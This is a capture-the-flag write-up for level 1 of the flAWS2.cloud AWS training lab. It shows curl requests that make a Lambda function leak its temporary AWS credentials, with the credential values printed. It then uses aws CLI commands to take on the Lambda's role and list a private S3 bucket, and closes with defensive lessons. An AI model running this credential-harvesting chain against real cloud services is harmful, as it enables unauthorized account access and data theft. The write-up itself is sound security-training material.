3 min read

flAWS2.cloud Level 1 Writeup — Lambda Environment Variable Leak & Unauthorized S3 Access

flAWS2.cloud Level 1 Writeup — Lambda Environment Variable Leak & Unauthorized S3 Access
📚 Series · flAWS2.cloud
  1. ▸ Level 1: Lambda Environment Variable Leak & S3 (this post)
  2. Level 2: ECR Permissions & Docker Image Leak
Lab: flAWS2.cloud — Attacker Path
Difficulty: ★☆☆☆☆ (beginner)
Services involved: API Gateway, AWS Lambda, S3

0x00 Challenge Overview

The Level 1 page presents a PIN input box asking you to enter a correct 100-digit PIN code. The challenge explicitly states that brute forcing isn't feasible, so we have to find our way in through the AWS cloud services themselves.

0x01 Recon — Source Code Analysis

Let's start by looking at the page source:

curl -s http://level1.flaws2.cloud/

There are two key findings:

1. Client-side JavaScript validation

function validateForm() {
    var code = document.forms["myForm"]["code"].value;
    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
        alert("Code must be a number");
        return false;
    }
}

This JS only checks whether the input is a number — we can bypass it entirely by sending the request directly with curl.

2. The form action points at API Gateway + Lambda

<form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" ...>

The backend architecture is clear: API Gateway → Lambda function.

0x02 Attack — Triggering Lambda Error Disclosure

First, let's send a normal request to confirm the response behaviour:

curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=1234"

The response is empty (a 302 redirect to an error page). Next, we bypass the client-side validation and send a non-numeric value:

curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=abc"

The Lambda function's error handler dumps out the entire execution environment's environment variables:

Error, malformed input
{"AWS_LAMBDA_FUNCTION_VERSION":"$LATEST",
 "AWS_ACCESS_KEY_ID":"ASIA...",
 "AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2Vj...",
 "AWS_SECRET_ACCESS_KEY":"E2y8...",
 "AWS_DEFAULT_REGION":"us-east-1",
 "AWS_LAMBDA_FUNCTION_NAME":"level1",
 ...}

We now have three critical values:

Field Description
AWS_ACCESS_KEY_ID Begins with ASIA, indicating these are STS temporary credentials
AWS_SECRET_ACCESS_KEY Secret Key
AWS_SESSION_TOKEN Session Token (required alongside temporary credentials)

0x03 Exploitation — Impersonating the Lambda Identity to Access S3

Configure the leaked credentials as an AWS CLI profile:

aws configure set aws_access_key_id ASIAZQNB3KHGJCOCXPGM --profile flaws2
aws configure set aws_secret_access_key "E2y81/8EtlVmOw/8WYCV8+e5O5UpYTi1DR15zOsi" --profile flaws2
aws configure set aws_session_token "IQoJb3JpZ2luX2Vj..." --profile flaws2
aws configure set region us-east-1 --profile flaws2

Confirm our identity:

$ aws sts get-caller-identity --profile flaws2
{
    "UserId": "AROAIBATWWYQXZTTALNCE:level1",
    "Account": "653711331788",
    "Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
}

We are now the execution role of the level1 Lambda. Let's try to enumerate S3:

$ aws s3 ls --profile flaws2
# AccessDenied — no ListAllMyBuckets permission

But we already know the site's domain name, so we can point at the bucket by name directly:

$ aws s3 ls s3://level1.flaws2.cloud --profile flaws2
                           PRE img/
2018-11-21 04:55:05      17102 favicon.ico
2018-11-21 10:00:22       1905 hint1.htm
2018-11-21 10:00:22       2226 hint2.htm
2018-11-21 10:00:22       2536 hint3.htm
2018-11-21 10:00:23       2460 hint4.htm
2018-11-21 10:00:17       3000 index.htm
2018-11-21 10:00:17       1899 secret-redacted.html

We've found the hidden redacted.html — accessing it takes us into Level 2:

http://level1.flaws2.cloud/secret-redacted.html

0x04 Attack Chain Summary

Client-side JS Bypass (send a non-numeric value)
        ↓
Lambda Error Handler leaks environment variables
        ↓
Obtain STS temporary credentials (Access Key + Secret + Token)
        ↓
Impersonate the Lambda Execution Role identity
        ↓
Enumerate the S3 bucket contents
        ↓
Discover the hidden secret HTML → level cleared

0x05 Lessons Learned

1. Lambda Environment Variable Leakage

On EC2 you retrieve IAM role credentials via the metadata service (169.254.169.254), whereas Lambda exposes them through environment variables. Developers frequently dump environment variables in an error handler while debugging, which is extremely dangerous in a production environment — because AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN all live in those environment variables.

2. IAM Over-Privileging (Least Privilege Violation)

This Lambda's execution role was granted permission to enumerate S3 bucket contents, even though its only function is to validate a PIN code. The right approach is to follow the principle of least privilege — granting the Lambda only the minimum permissions it needs to do its job. You can use AWS CloudTrail + CloudTracker, or AWS Access Advisor + RepoKid, to identify over-privileged roles.

3. Don't Rely on Client-side Validation Alone

This challenge's input validation runs entirely on the JavaScript side and can be completely bypassed with curl. In a serverless architecture, a request travels from the client through API Gateway to Lambda, and no layer should assume the upstream has already validated the input — every component should validate input independently.

4. Security Principles for Error Handling

  • Never return stack traces or environment variables in production
  • Use custom error responses that return only the essential error information
  • Log detailed debug information to CloudWatch Logs rather than returning it directly to the user